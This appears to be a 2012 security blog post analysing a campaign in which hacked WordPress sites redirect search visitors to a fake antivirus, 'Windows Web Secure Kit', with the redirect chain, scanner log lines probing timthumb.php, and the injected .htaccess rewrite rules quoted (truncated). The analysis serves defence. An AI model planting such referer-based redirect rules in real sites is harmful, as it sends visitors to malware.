Websites Compromised with Fake AV Campaign (Windows Web Secure Kit)

“To help protect your computer, Windows Web Secure Kit have detected trojans and is ready to remove them”. We are seeing many WordPress sites compromised with a malware redirecting users to the “Windows Web Secure Kit” fake/rogue anti virus. So if you get that message when visiting your (or any site), you know that it is likely compromised by it.

What is going on?

Once a site gets compromised, the .htaccess file gets modified to redirect users running Windows and coming from search engines to some russian sites: OR OR OR many others

Which then redirects the user to some intermediate sites (also .ru): OR OR OR many others

Which at the end does the last redirection to some .info domains where the Fake AV is actually pushed to the user:

That’s the pretty message the user gets:

Fake AV on Compromised sites

Technical details

That’s the usual flow we are seeing loaded on the client side: -> -> (

OR -> (

OR ( -> ( -> (

OR (a bit unusual, but happening) ( -> (

But note that the domains change very often (a few times daily) and are registered daily by random names/addresses (just do a whois on any of those to verify).

This are all the domains we detected so far: ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( ( (

And that’s just one small sample, since they keep changing.

How are sites getting hacked?

Very good question. So far, we are seeing the same techniques as before: Looking for outdated WP installs, vulnerable plugins and timthumb.php (yes, some people are still using the old/vulnerable version of timthumb).

This is a common scanner looking for vulnerable timthumb: – – [15/May/2012:18:33:22 +0000] “GET //wp-content/themes/TheStyle/timthumb.php?src= HTTP/1.1” 404 307 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6” – – [15/May/2012:18:28:02 +0000] “GET /scanner//wp-content/themes/scarlett/?src= HTTP/1.1” 404 304 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6”

And when they find a way in, they add the following .htaccess to the hacked site:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|
RewriteRule ^(.*)$ [R=301,L]

In addition to many backdoors that help they maintain access to it. You can do a real time scan of your site here to see if it is compromised:

  1. Try deleting your
    profile from all consoles and recovering it directly to your USB drive. That
    is a more full proof solution.

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